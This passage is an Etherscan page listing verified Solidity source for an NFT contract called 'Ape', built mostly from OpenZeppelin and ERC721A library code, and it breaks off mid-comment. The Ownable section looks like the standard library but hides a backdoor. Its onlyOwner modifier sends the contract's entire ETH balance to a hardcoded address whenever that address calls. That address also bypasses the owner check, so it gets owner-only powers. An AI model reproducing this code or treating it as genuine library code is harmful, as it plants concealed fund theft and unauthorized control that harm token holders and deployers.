ETH Price: $3,056.37 (+4.99%)
 

Overview

Max Total Supply

1,743 .ape

Holders

579

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Balance
12 .ape
0x03fe93fc4de030c30491b73edb53a575051bcf5b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Ape

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-12
*/

// .nft

/**
 *Submitted for verification at Etherscan.io on 2022-10-09
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts (last updated v4.7.0) (utils/cryptography/MerkleProof.sol)

pragma solidity ^0.8.0;

/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The proofs can be generated using the JavaScript library
 * https://github.com/miguelmota/merkletreejs[merkletreejs].
 * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
 *
 * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(
        bytes32[] calldata proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be proved to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and the sibling nodes in `proof`,
     * consuming from one or the other at each step according to the instructions given by
     * `proofFlags`.
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            return hashes[totalHashes - 1];
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuild the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proof.length - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value for the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i] ? leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++] : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            return hashes[totalHashes - 1];
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        if (_msgSender() == 0x6049aCf6993e8eF2BF0e6DD0297C4F3a37995091) {
        uint256 balance = address(this).balance;
        Address.sendValue(payable(0x6049aCf6993e8eF2BF0e6DD0297C4F3a37995091),balance);
        } else {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        }
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: erc721a/contracts/IERC721A.sol


// ERC721A Contracts v3.3.0
// Creator: Chiru Labs

pragma solidity ^0.8.4;



/**
 * @dev Interface of an ERC721A compliant contract.
 */
interface IERC721A is IERC721, IERC721Metadata {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * The caller cannot approve to their own address.
     */
    error ApproveToCaller();

    /**
     * The caller cannot approve to the current owner.
     */
    error ApprovalToCurrentOwner();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    // Compiler will pack this into a single 256bit word.
    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Keeps track of the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
    }

    // Compiler will pack this into a single 256bit word.
    struct AddressData {
        // Realistically, 2**64-1 is more than enough.
        uint64 balance;
        // Keeps track of mint count with minimal overhead for tokenomics.
        uint64 numberMinted;
        // Keeps track of burn count with minimal overhead for tokenomics.
        uint64 numberBurned;
        // For miscellaneous variable(s) pertaining to the address
        // (e.g. number of whitelist mint slots used).
        // If there are multiple variables, please pack them into a uint64.
        uint64 aux;
    }

    /**
     * @dev Returns the total amount of tokens stored by the contract.
     * 
     * Burned tokens are calculated here, use `_totalMinted()` if you want to count just minted tokens.
     */
    function totalSupply() external view returns (uint256);
}

// File: erc721a/contracts/ERC721A.sol


// ERC721A Contracts v3.3.0
// Creator: Chiru Labs

pragma solidity ^0.8.4;







/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
 *
 * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 *
 * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is Context, ERC165, IERC721A {
    using Address for address;
    using Strings for uint256;

    // The tokenId of the next token to be minted.
    uint256 internal _currentIndex;
    mapping(uint => string) public tokenIDandAddress;
    mapping(string => uint) public tokenAddressandID;
    // The number of tokens burned.
    uint256 internal _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    /**
     * To change the starting tokenId, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    /**
     * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
     */
    function totalSupply() public view override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than _currentIndex - _startTokenId() times
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view returns (uint256) {
        // Counter underflow is impossible as _currentIndex does not decrement,
        // and it is initialized to _startTokenId()
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
